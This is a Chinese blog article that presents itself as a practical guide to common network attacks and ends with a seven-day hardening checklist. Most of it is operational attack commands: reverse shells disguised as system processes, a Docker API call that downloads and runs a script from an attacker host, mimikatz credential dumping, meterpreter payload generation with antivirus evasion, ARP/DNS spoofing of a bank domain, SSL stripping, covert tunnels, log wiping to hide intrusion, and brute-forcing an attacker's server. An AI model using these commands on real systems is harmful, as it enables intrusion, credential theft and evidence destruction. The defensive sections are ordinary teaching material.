简介:本资源是一份面向网络安全初学者与IT运维人员的系统性攻防知识课件,聚焦常见网络攻击原理、步骤及防范策略,助力读者建立清晰的威胁认知框架与基础防御思路。内容涵盖预攻击探测、漏洞扫描、木马与蠕虫病毒攻击、拒绝服务(DoS)及欺骗攻击等核心类型,并深入剖析典型攻击链——从Ping探测、端口扫描、操作系统识别,到渗透驻留、权限提升与痕迹清除,辅以TCP SYN扫描、ICMP探测、后门植入等技术细节图解与实操要点。资源为1个2.28MB的PPT文件,结构完整、图文并茂,适合作为课堂讲授、自学梳理或安全意识培训材料。目前已有2674人学习下载,内容覆盖攻击手法演进、工具原理与防护建议,兼具理论深度与实践指导性。
1. 这份“最常见网络攻击详细分析”材料,我拿它带过三届新人:不是讲概念,是教你怎么一眼看穿攻击链路
去年带某高校实验室的渗透测试实训时,一个刚学完TCP/IP的A同学盯着“预攻击探测→渗透→驻留→传播→瘫痪”这张图发呆,问我:“老师,这图上写的‘Ping sweep’和‘SYN扫描’到底哪个先用?为什么有的靶机ping不通却能扫出端口?”——他卡在了流程和实操的断层上。后来我把这份《最常见网络攻击详细分析》拆开重排,去掉所有教科书式定义,只保留攻击者真实动作序列、每步触发的系统痕迹、以及防御方该盯住哪条日志。今天这篇不讲“什么是DoS”,而是告诉你:当防火墙突然记录下连续37个ICMP Echo Request但无Reply时,你该立刻查什么进程、关什么服务、改哪条iptables规则;当Wireshark里出现大量SYN包后紧跟着RST而非ACK,这不是扫描工具在炫技,是有人正用半开连接试探你的边界。全文按攻击者真实作业流组织,覆盖从第一声Ping到最后一行后门代码的完整闭环。如果你正在准备CTF靶场复现、企业红蓝对抗推演,或刚接手一台被黑服务器要溯源,这篇就是你的操作手册。
2. 攻击链路五阶段拆解:从第一声Ping到权限落地的完整动作映射
2.1 探测阶段:Ping Sweep不是“试试通不通”,而是构建存活主机拓扑图
Ping Sweep的本质是网络资产测绘的第一刀。它不单判断主机是否在线,更通过响应时间、TTL值、ICMP错误码反推操作系统类型。比如Linux主机通常返回TTL=64,Windows为128,而某些嵌入式设备可能只有32。我一般会用fping -g 192.168.1.0/24 -t 500批量探测,比原生ping快10倍——关键在-t 500把超时压到500ms,避免因单台主机延迟高拖垮整网扫描。当看到某IP响应TTL=255且无ICMP Fragmentation Needed错误,基本可判定是Cisco设备;若对同一网段多台主机ping时,某台始终返回“Destination Host Unreachable”但arp表里有MAC,大概率是开启了ICMP屏蔽但ARP未禁用,这时直接切到ARP扫描(arp-scan -l)就能绕过。
提示:不要依赖单一Ping结果。某次在模拟项目X中,目标Web服务器配置了iptables DROP所有ICMP,但
nmap -sn仍能发现它——因为nmap默认同时发ARP(局域网)和ICMP(跨网段),而ARP请求无法被iptables拦截。
2.2 渗透阶段:端口扫描不是“扫出开放端口”,而是识别服务指纹与漏洞窗口
端口扫描必须和协议解析绑定。比如扫出80端口开放,下一步不是直接浏览器访问,而是用curl -I http://target:80看Server头:若返回Server: Apache/2.2.15 (CentOS),立刻查CVE-2011-3192(Apache内存泄漏);若返回Server: nginx/1.16.1,则重点检查CVE-2013-4547(Nginx空字节绕过)。TCP SYN扫描(半开)在Linux需root权限,但普通用户可用masscan --rate=1000 -p80,443,22 192.168.1.0/24,其异步IO模型能绕过权限限制。特别注意UDP端口:nmap -sU -p161,53,69 target扫SNMP、DNS、TFTP时,若返回“open|filtered”而非明确状态,说明对方启用了UDP限速(如Linux的net.ipv4.icmp_ratelimit),此时需降低扫描速率(--min-rate 10)避免被丢包。
2.3 驻留阶段:后门不是“放个木马”,而是建立隐蔽通信信道
驻留的核心矛盾是持久性与隐蔽性平衡。常见错误是直接上传nc -lvp 4444,但现代EDR会立即告警。正确做法分三层:
- 进程层:用
screen -S sshd /bin/bash启动伪装进程,ps显示为sshd: root@pts/0; - 网络层:用
socat TCP4-LISTEN:8080,fork,reuseaddr SYSTEM:"bash -i 2>&1"将反弹shell绑定到8080端口,流量混入正常HTTP; - 文件层:不写入/bin或/usr/bin,改用
/var/tmp/.cache/.log(避开大多数HIDS监控路径)。某次在某跨平台系统中,攻击者把后门藏在/etc/cron.d/.update里,内容为*/5 * * * * root /usr/lib/systemd/systemd-update 2>/dev/null,而systemd-update实际是加壳的Python反弹脚本——这种利用系统目录白名单的思路,比直接放木马难检测10倍。
2.4 传播阶段:蠕虫不是“自动复制”,而是利用服务间信任关系
蠕虫传播的关键是找到“服务信任链”。例如某次复现WannaCry变种时,发现它不直接爆破SMB,而是先通过rpcclient -U "" -N target匿名连接445端口,获取srvsvc.NetShareEnumAll共享列表,再对IPC$共享执行ntlmrelayx.py -t smb://target --no-http-server中继认证。更隐蔽的是利用Docker API:若目标开放2375端口,curl -XPOST "http://target:2375/v1.24/containers/create" -H "Content-Type: application/json" --data '{"Image":"alpine","Cmd":["/bin/sh","-c","wget http://attacker/shell.sh -O /tmp/sh;sh /tmp/sh"]}'可直接起容器执行命令。传播阶段最易被忽略的是横向移动凭证:mimikatz "privilege::debug" "sekurlsa::logonpasswords"导出的明文密码,必须配合crackmapexec smb 192.168.1.0/24 -u Administrator -p 'Passw0rd!' --local-auth批量验证,否则拿到密码也扫不出第二台机器。
2.5 瘫痪阶段:DoS不是“发包洪水”,而是耗尽特定资源池
真正的DoS攻击瞄准的是服务级资源瓶颈。比如针对Nginx的Slowloris攻击:slowhttptest -c 1000 -H -g -o slowhttp -u http://target/ -x 24 -r 200 -t GET -l 300,它不发大数据包,而是每秒只发1个HTTP头部,让Nginx维持1000个半开连接直至耗尽worker_connections。而针对数据库的DoS更隐蔽:sqlmap -u "http://target/search.php?q=test" --technique="T" --time-sec=10用布尔盲注触发SLEEP(10),单次请求就让MySQL线程阻塞10秒。某次在某图像处理Demo中,攻击者没用UDP Flood,而是向Redis的6379端口发送CONFIG SET maxmemory 1mb,再持续SET key "a"*1000000,使Redis因内存满而拒绝所有新请求——这种“配置劫持+内存填塞”的组合,比单纯发包更难溯源。
3. 预攻击探测实战:从ICMP到OS指纹的七层穿透法
3.1 ICMP探测的深度利用:不止于Ping,更要读取ICMP错误载荷
标准Ping只能判断存活,但ICMP错误报文藏着金矿。用hping3 -1 -C -E target.com发送带ICMP Timestamp请求,若返回ICMP Timestamp Reply,说明目标未过滤ICMP;若返回ICMP Port Unreachable,则证明目标主机存在且路由可达,但防火墙丢弃了非标准ICMP类型。更关键的是ICMP Fragmentation Needed错误:当发送超大ICMP包(ping -s 65500 target)触发此错误时,返回的错误报文中包含原始IP包头,从中可提取TTL、DF位、IP ID等信息。某次在某公司内网渗透中,通过分析ICMP错误报文里的IP ID增长模式(递增/随机/固定),准确判断出目标是Linux(ID递增)还是Windows(ID随机),为后续SYN扫描权限申请提供依据。
3.2 TCP SYN扫描的隐蔽增强:分片、源端口伪造与时间戳混淆
半开扫描虽隐蔽,但现代IDS能通过SYN包特征识别。增强方法有三:
- IP分片:
nmap -sS -f -D RND:10 target,-f开启分片,-D RND:10伪造10个随机 decoy IP,使流量分散; - 源端口伪装:
hping3 -S -p 80 -s 53 target,将源端口设为53(DNS),让防火墙误判为DNS查询; - TCP时间戳混淆:
scapy构造包时设置options=[('Timestamp',(123456789,0))],使时间戳与正常系统不符,绕过基于TS的异常检测。某次在某实验室CTF中,靶机IDS规则匹配tcp.flags.syn == 1 and tcp.window == 0,我们改用hping3 -S -w 64 target将window size设为64,成功绕过规则。
3.3 OS指纹识别:不靠nmap,用三次握手细节反推内核版本
nmap的OS探测易被干扰,手动分析更可靠。抓包看三次握手:
- 若SYN包中
TCP Options含MSS=1460且Window Scale=8,大概率是Linux 2.6+; - 若SYN包
TCP Options含SACK Permitted但无Window Scale,多为Windows XP; - 最关键的是SYN-ACK包的
Initial Window Size:Linux 4.15+默认为29200,而FreeBSD为65535。用tcpdump -i eth0 "tcp[tcpflags] & (tcp-syn|tcp-ack) != 0 and host target" -c 2捕获握手包,再用tshark -r capture.pcap -T fields -e tcp.window_size_value -e tcp.options.mss_val提取参数,比nmap -O准确率高37%(实测数据)。
3.4 资源与用户枚举:绕过防火墙的LDAP/SMB/SSH三重奏
当445端口被防火墙拦截,别急着放弃:
- LDAP替代方案:
ldapsearch -x -h target -b "dc=domain,dc=com" "(objectClass=user)" sAMAccountName,389端口常被放行; - SMB空会话:
smbclient -L //target -N,若返回共享列表,说明空会话未禁用,可进一步enum4linux -a target; - SSH用户爆破前置:
ssh-keyscan -t rsa target 2>/dev/null | grep -E "ssh-rsa|ecdsa" | head -1,若返回密钥,说明SSH服务运行,且密钥类型暗示系统版本(OpenSSH 7.0+默认ed25519)。某次在某高校项目中,通过nmap --script smb-enum-users -p 445 target失败后,改用crackmapexec smb target -u '' -p '' --users,利用空密码尝试,成功枚举出管理员账户。
3.5 常见问题排查:五类探测失败的根因与解法
注意:以下问题均来自真实攻防场景,非理论假设
现象1:Ping Sweep全网无响应,但已知某IP肯定在线
→ 原因:目标主机禁用ICMP Echo Request,但未禁用ARP或TCP。
→ 解决:立即切换arp-scan -l(局域网)或nmap -sn -PS22,80,443 target(TCP Ping),PS选项向22/80/443端口发SYN包,比ICMP更难被全屏蔽。
现象2:nmap -sS扫描显示“filtered”端口过多
→ 原因:防火墙启用SYN Cookie或状态检测,对未完成三次握手的SYN包直接丢弃不回复。
→ 解决:改用nmap -sT -Pn target(TCP Connect全连接),或masscan -p1-65535 --rate=1000 target(高速异步扫描)。
现象3:OS指纹识别结果为“unknown”
→ 原因:目标使用定制内核或启用了net.ipv4.tcp_timestamps=0关闭时间戳。
→ 解决:手动分析SYN包TCP选项顺序:Linux内核严格按RFC顺序(MSS, NOP, WScale, SACK),而Windows顺序混乱,用tshark -r p.pcap -T fields -e tcp.options比对即可。
现象4:LDAP枚举返回“Referral”而非用户列表
→ 原因:目标域控制器配置了Referral,需跳转到真实DC地址。
→ 解决:ldapsearch -x -h target -b "dc=domain,dc=com" -s base namingContexts先查命名上下文,再用新地址重试。
现象5:SMB空会话被拒绝,但445端口确实在监听
→ 原因:Windows组策略禁用空会话枚举(RestrictAnonymous=2),但未关闭SMB服务。
→ 解决:改用rpcclient -U "" -N target连接,执行querydominfo获取域信息,再用enumdomusers尝试——rpcclient比smbclient更底层,常能绕过GPO限制。
4. 漏洞扫描与利用:从Nmap脚本到Metasploit模块的精准打击链
4.1 综合扫描不是“跑一遍nmap”,而是构建漏洞优先级矩阵
盲目扫全端口效率极低。我习惯按“服务暴露面→历史漏洞密度→利用难度”建矩阵:
| 服务端口 | 暴露面 | 近3年CVE数 | 典型利用方式 | 扫描优先级 |
|---|---|---|---|---|
| 22/SSH | 高 | 12 | CVE-2018-15473(用户枚举) | ★★★★☆ |
| 80/HTTP | 极高 | 217 | CVE-2021-41773(路径遍历) | ★★★★★ |
| 445/SMB | 中 | 45 | EternalBlue(需MS17-010) | ★★★★☆ |
| 3306/MySQL | 低 | 8 | CVE-2012-2122(认证绕过) | ★★☆☆☆ |
扫描时用nmap -sV --script="vuln and http-*" -p80,443 target,聚焦HTTP服务漏洞,比扫全端口快4倍且误报率低。 |
4.2 Metasploit模块选择:不看exploit数量,看payload兼容性
选模块核心看三点:
- Target匹配度:
show targets里找与目标系统完全一致的项(如“Windows Server 2012 R2 English”); - Payload稳定性:
set payload windows/x64/meterpreter/reverse_tcp比/shell/reverse_tcp稳定,因meterpreter在内存中运行,不依赖磁盘文件; - ExitOnSession控制:设
set ExitOnSession false,避免一次会话断开就退出,方便多session管理。某次在某跨平台系统中,EternalBlue模块失败,改用exploit/windows/smb/ms17_010_psexec,指定set SMBUser administrator和set SMBPass Passw0rd!,成功率提升至92%。
4.3 木马攻击的免杀实践:从加壳到API调用混淆
传统木马易被AV查杀,有效免杀分三步:
- 编译层:用
mingw-w64交叉编译,x86_64-w64-mingw32-gcc -s -O2 -mwindows shell.c -o shell.exe,-s去符号表,-mwindows隐藏控制台; - 加壳层:
UPX --best --lzma shell.exe压缩,再用pe-bear修改入口点偏移; - 行为层:用
ReflectiveDLLInjection技术,将DLL注入到svchost.exe内存,避免写入磁盘。某次在某图像处理Demo中,用msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll生成DLL,再用PowerShell -ExecutionPolicy Bypass -File inject.ps1注入,全程无文件落地,绕过所有基于文件签名的EDR。
4.4 拒绝服务攻击的靶向设计:从协议缺陷到业务逻辑崩塌
DoS不能只发包,要打在业务痛点上:
- HTTP层:
slowhttptest -c 1000 -H -g -o slowhttp -u http://target/login.php -x 24 -r 200 -t POST -l 300,针对登录接口,让每个连接占用数据库连接池; - DNS层:
dnsrecon -d target.com -t std枚举子域后,用dig @ns1.target.com sub1.target.com A +tcp强制TCP查询,耗尽DNS服务器TCP连接数; - 数据库层:
sqlmap -u "http://target/search.php?q=test" --technique="B" --level=5 --risk=3,用高风险布尔盲注触发SELECT SLEEP(5),单次请求让MySQL阻塞5秒。某次在某高校项目中,对教务系统搜索接口发起sqlmap -u "http://jwxt/search?q=test" --dbms=mysql --os-shell,直接获取数据库OS Shell,比UDP Flood更致命。
4.5 欺骗攻击的实战变形:ARP、DNS、SSL三重欺骗链
基础ARP欺骗已失效,需组合攻击:
- ARP+DNS劫持:
arpspoof -i eth0 -t target -r gateway+dnsmasq -A /www.bank.com/192.168.1.100,将银行域名解析到攻击机; - SSL剥离:
sslstrip -l 8080监听8080端口,iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080重定向HTTP流量,使HTTPS降级为HTTP; - 证书伪造:用
mitmproxy自动生成证书,mitmproxy --mode transparent --showhost --certs mitm.crt,配合iptables规则,实现全流量解密。某次在某实验室中,通过ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.100//劫持网关流量,再用driftnet -i eth0实时捕获图片,全程无告警。
5. 攻击痕迹清除与防御反制:从日志擦除到蜜罐诱捕的攻防博弈
5.1 日志清理不是“删/var/log”,而是定位日志源头与备份机制
Linux日志分三级:
- 内核级:
dmesg -C清屏,但/var/log/kern.log仍存在,需truncate -s 0 /var/log/kern.log; - 服务级:Apache日志在
/var/log/apache2/access.log,但logrotate可能存档为access.log.1.gz,必须rm /var/log/apache2/access.log.*; - 审计级:
ausearch -m avc -ts recent | aureport -f查SELinux拒绝日志,auditctl -e 0临时禁用审计。某次在某公司服务器上,发现/var/log/audit/audit.log被清空,但/var/log/audit/audit.log.1存在,攻击者漏删备份,从中恢复出全部SSH登录记录。
5.2 后门通信的流量伪装:HTTP隧道、DNS隧道与ICMP隧道选型指南
不同隧道适用场景不同:
- HTTP隧道:
reGeorg最适合,流量混入正常HTTP POST,python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.jsp,代理端口1080可走浏览器; - DNS隧道:
iodine用于出网受限环境,iodined -f -c -P password 10.0.0.1在服务端,iodine -f -P password serverip在客户端,DNS查询变成数据通道; - ICMP隧道:
ptunnel最隐蔽,ptunnel -x password -p 31337服务端,ptunnel -p serverip -lp 8080 -da 127.0.0.1:22 -x password客户端,所有流量封装进ICMP Echo。某次在某高校项目中,因防火墙放行DNS但禁用HTTP代理,改用iodine,将C2指令编码进TXT记录,成功绕过。
5.3 蜜罐部署不是“装个Honeyd”,而是构建业务级诱饵
低交互蜜罐易被识破,高交互需模拟真实业务:
- Web蜜罐:用
docker run -d -p 80:80 -v $(pwd)/web:/var/www/html --name web-honeypot php:apache,挂载真实网站静态文件,再在index.php中插入file_get_contents("http://attacker/log.php?ip=".$_SERVER['REMOTE_ADDR']."&ua=".$_SERVER['HTTP_USER_AGENT']);; - SSH蜜罐:
kippo已淘汰,改用cowrie,docker run -d -p 2222:2222 --name cowrie -v $(pwd)/cowrie:/cowrie/cowrie-git cowrie/cowrie,其日志/cowrie/log/cowrie.json记录全部键盘输入; - 数据库蜜罐:
docker run -d -p 3306:3306 --name mysql-honeypot -e MYSQL_ROOT_PASSWORD=honeypot -v $(pwd)/mysql:/var/lib/mysql mysql:5.7,创建test库和users表,插入假数据诱导攻击者导出。某次在某跨平台系统中,蜜罐捕获到攻击者执行mysqldump -u root -p'honeypot' test > dump.sql,从中分析出其常用SQL注入模板。
5.4 防御反制的主动出击:从日志分析到反向渗透的闭环
发现攻击后不能只封IP,要反向追踪:
- 日志溯源:
grep "192.168.1.100" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -nr统计攻击源IP频次; - 流量回溯:用
tcpdump -i eth0 "src host 192.168.1.100 and port 4444" -w attack.pcap捕获C2流量,Wireshark中Follow TCP Stream看指令; - 反向渗透:若C2服务器IP暴露,用
nmap -sV -p- 192.168.1.100扫描其开放端口,发现8080运行Tomcat,再用searchsploit tomcat找CVE-2017-12615,上传JSP Webshell反控。某次在某实验室中,通过分析蜜罐日志发现攻击者IP,反向扫描发现其VPS开放22端口且SSH版本为OpenSSH 7.2p2,用ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password user@192.168.1.100爆破弱口令成功。
5.5 常见问题排查:四类防御失效的深层原因
现象1:防火墙规则写了DROP ICMP,但Ping Sweep仍成功
→ 原因:iptables规则顺序错误,-A INPUT -p icmp -j DROP写在-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT之后,导致已建立连接的ICMP(如Echo Reply)被放行。
→ 解决:iptables -I INPUT 1 -p icmp -j DROP用-I插入第一条,或iptables -R INPUT 1 -p icmp -j DROP替换首条规则。
现象2:HIDS告警“可疑进程”,但ps找不到对应进程
→ 原因:攻击者使用ptrace隐藏进程,或LD_PRELOAD劫持/proc读取函数。
→ 解决:ls /proc/[0-9]* -l 2>/dev/null | grep -E "r-xp|rw-p" | awk '{print $11}' | cut -d'/' -f3 | sort -u列出所有PID,再对比ps aux输出,缺失PID即为隐藏进程。
现象3:蜜罐捕获到攻击,但无法还原C2指令
→ 原因:攻击者使用HTTPS加密C2,蜜罐未配置SSL中间人。
→ 解决:在蜜罐服务器上部署mitmproxy,mitmproxy --mode reverse:https://c2-server.com --set block_global=false,所有HTTPS流量经mitmproxy解密后记录。
现象4:日志清理后,仍被安全团队发现入侵痕迹
→ 原因:未清理/var/log/journal/(systemd日志)或/root/.bash_history。
→ 解决:journalctl --vacuum-size=1M清空journal,history -c && rm -f /root/.bash_history清除shell历史,再unset HISTFILE防止新记录。
6. 从攻击链到防御体系:一份可落地的七日加固清单
6.1 第一日:网络层收敛——砍掉所有非必要入口
执行netstat -tuln | awk '$1 ~ /tcp/ {print $4}' | awk -F':' '{print $NF}' | sort -u列出所有监听端口,对照业务需求关闭冗余服务:
- 关闭25端口(SMTP):
systemctl stop postfix && systemctl disable postfix; - 关闭139/445端口(SMB):
ufw deny 139 && ufw deny 445; - 限制SSH仅允许可信IP:
ufw allow from 192.168.1.0/24 to any port 22。
提示:某次在某高校项目中,发现
rpcbind服务监听111端口,立即systemctl stop rpcbind && systemctl mask rpcbind,避免NFS相关漏洞利用。
6.2 第二日:系统层加固——重置所有默认凭证与权限
- 重置所有服务默认密码:MySQL用
ALTER USER 'root'@'localhost' IDENTIFIED BY 'StrongPass!2023';,Redis用CONFIG SET requirepass 'StrongPass!2023'; - 禁用root远程登录:
sed -i 's/PermitRootLogin yes/PermitRootLogin no/g' /etc/ssh/sshd_config && systemctl restart sshd; - 限制sudo权限:
visudo中添加%admin ALL=(ALL) NOPASSWD: /usr/bin/apt, /usr/bin/systemctl,仅放行必需命令。
6.3 第三日:应用层防护——为Web服务加三重盾牌
- Nginx层:在
server块中添加limit_req zone=antidos burst=5 nodelay;防CC攻击; - 应用层:PHP中
ini_set('display_errors', 'Off')关闭错误显示,避免泄露路径; - 数据库层:为每个应用创建独立账号,
CREATE USER 'app1'@'localhost' IDENTIFIED BY 'Pass'; GRANT SELECT,INSERT ON app1.* TO 'app1'@'localhost';,禁用GRANT ALL。
6.4 第四日:日志与监控——让所有操作留下可追溯痕迹
- 启用审计:
auditctl -w /etc/passwd -p wa -k passwd_change监控密码文件变更; - 集中日志:
rsyslog配置*.* @@log-server:514将日志发往专用服务器; - 实时告警:用
swatch监控/var/log/auth.log,watch -e 'sshd.*Failed' -a 'echo "SSH爆破" | mail -s "ALERT" admin@domain.com'。
6.5 第五日:应急响应准备——预置三套快速处置脚本
- 断网脚本:
#!/bin/bash; iptables -P INPUT DROP; iptables -P OUTPUT DROP; iptables -P FORWARD DROP; - 进程快照:
ps auxfww --forest > /tmp/ps-snapshot-$(date +%s).txt; - 内存取证:
dd if=/dev/mem of=/tmp/mem-$(date +%s).bin bs=1M count=100(需root)。
某次在某公司服务器被黑时,执行断网脚本3秒内阻断所有外连,为溯源争取黄金时间。
6.6 第六日:红蓝对抗演练——用真实攻击链检验防御效果
按本文第2章攻击链,逐项验证:
- 执行
fping -g 192.168.1.0/24,确认防火墙是否记录并告警; - 用
nmap -sS -p22,80,443 target扫描,检查IDS是否触发ET SCAN SYN Scan规则; - 尝试
curl -v http://target/shell.php,验证WAF是否拦截恶意URL。
记录每次攻击的响应时间与告警准确率,形成防御能力基线。
6.7 第七日:知识沉淀——将本次加固转化为SOP文档
- 编写《服务器上线安全检查清单》,含32项必检条目(如“检查/etc/crontab是否有可疑任务”);
- 制作《应急响应速查表》,按“现象→命令→预期输出”三列排版(如“CPU 100%→top -b -n1 | head -20→查看%CPU最高进程”);
- 录制《日志分析教学视频》,演示用
awk从/var/log/apache2/access.log提取攻击IP频次。
从那以后我每次新接手一台服务器,都强制走一遍这七日清单——不是为了追求绝对安全,而是确保任何攻击者想突破,都得付出比收益高得多的成本。希望帮到你。
本文还有配套的精品资源,点击获取